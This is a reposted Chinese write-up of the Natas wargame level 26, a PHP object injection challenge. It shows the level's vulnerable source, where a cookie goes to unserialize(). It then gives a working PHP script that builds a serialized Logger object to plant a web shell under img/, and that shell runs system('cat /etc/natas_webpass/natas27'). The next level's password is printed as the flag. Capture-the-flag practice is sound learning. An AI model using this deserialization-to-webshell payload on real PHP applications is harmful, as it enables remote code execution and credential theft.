

Natas Wargame Level26 Writeup (PHP对象注入)

转载

[a_18067](#) 于 2017-05-24 23:45:00 发布 101 收藏

文章标签: [php shell](#)

原文链接: <http://www.cnblogs.com/liqiuhaio/p/6901620.html>

版权

源码:

```
<?php
// sry, this is ugly as hell.
// cheers kaliman ;)
// - morla

class Logger{
    private $logFile;
    private $initMsg;
    private $exitMsg;

    function __construct($file){
        // initialise variables
        $this->initMsg="#--session started--#\n";
        $this->exitMsg="#--session end--#\n";
        $this->logFile = "/tmp/natas26_" . $file . ".log";

        // write initial message
        $fd=fopen($this->logFile,"a+");
        fwrite($fd,$initMsg);
        fclose($fd);
    }

    function log($msg){
        $fd=fopen($this->logFile,"a+");
        fwrite($fd,$msg."\n");
        fclose($fd);
    }

    function __destruct(){
        // write exit message
        $fd=fopen($this->logFile,"a+");
        fwrite($fd,$this->exitMsg);
        fclose($fd);
    }
}

function showImage($filename){
    if(file_exists($filename))
        echo "<img src=\"".$filename.\">";
}

function drawImage($filename){
    $img=imagecreatetruecolor(400,300);
    drawFromUserdata($img);
    imagepng($img,$filename);
    imagedestroy($img);
}
```

```

}

function drawFromUserdata($img){
    if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
        array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){

        $color=imagecolorallocate($img,0xff,0x12,0x1c);
        imageline($img,$_GET["x1"], $_GET["y1"],
            $_GET["x2"], $_GET["y2"], $color);
    }

    if (array_key_exists("drawing", $_COOKIE)){
        $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        if($drawing)
            foreach($drawing as $object)
                if( array_key_exists("x1", $object) &&
                    array_key_exists("y1", $object) &&
                    array_key_exists("x2", $object) &&
                    array_key_exists("y2", $object)){

                    $color=imagecolorallocate($img,0xff,0x12,0x1c);
                    imageline($img,$object["x1"],$object["y1"],
                        $object["x2"] ,$object["y2"] ,$color);
                }
    }
}

function storeData(){
    $new_object=array();

    if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
        array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
        $new_object["x1"]=$_GET["x1"];
        $new_object["y1"]=$_GET["y1"];
        $new_object["x2"]=$_GET["x2"];
        $new_object["y2"]=$_GET["y2"];
    }

    if (array_key_exists("drawing", $_COOKIE)){
        $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
    }
    else{
        // create new array
        $drawing=array();
    }

    $drawing[]=$new_object;
    setcookie("drawing",base64_encode(serialize($drawing)));
}
?>

```

<h1>natas26</h1>

<div id="content">

Draw a line:

<form name="input" method="get">

X1<input type="text" name="x1" size=2>

Y1<input type="text" name="y1" size=2>

```

X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form>

<?php
    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        ( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
          array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){
        $imgfile="img/natas26_" . session_id() . ".png";
        drawImage($imgfile);
        showImage($imgfile);
        storeData();
    }

?>

```

主要知识点参见[PHP Object Injection \(PHP对象注入\)](#)。

思路上的问题：

了解PHP对象注入后，不知道该如何回显，以为这里没有eval和system等能够执行命令的语句（序列化又只能传入键值对（字符串而非执行语句））。其实很简单，这里不需要服务器端在解析的时候回显flag，我们只需要在能够访问的文件夹（img）下建立一个shell（fuck.php）（路径可以用字符串表示传入），写入php语句，然后访问该脚本，就能够进行任意语句执行/回显！

生成序列化的注入实体时犯的错误：

```

<?php
class Logger{
    function __construct($file){
        $this->initMsg="<? \n\nsystem('cat /etc/natas_webpass/natas27'); ?>\n\n";
        $this->logFile = "img/fuck3.php";
        $this->exitMsg ="<? \n\nsystem('cat /etc/natas_webpass/natas27'); ?>\n\n";
    }
}
print urlencode(base64_encode(serialize(new Logger('asd'))));
?>

```

源码中声明Logger时进行了访问控制（三个属性全部私有），如果不加private的话是默认公有的，生成的序列化字节串会不匹配，要注意这一点，数据类型一定要匹配。（另外，序列化字节串只能保存键值对，无法保存对象中的方法定义）。

正确做法：

```
<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
    $this->initMsg="<? \n\nsystem('cat /etc/natas_webpass/natas27'); ?>\n\n";
    $this->logFile = "img/fuck3.php";
    $this->exitMsg ="<? \n\nsystem('cat /etc/natas_webpass/natas27'); ?>\n\n";
}
}
print urlencode(base64_encode(serialize(new Logger('asd'))));
?>
```

ps: 其实还有个小问题，当前路径就写“img/...”即可，当时脑袋抽写成了“/imag/...”

然后访问img/fuck.php这个shell即可得到flag。

flag: **55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ**

转载于:<https://www.cnblogs.com/liqiuhaop/p/6901620.html>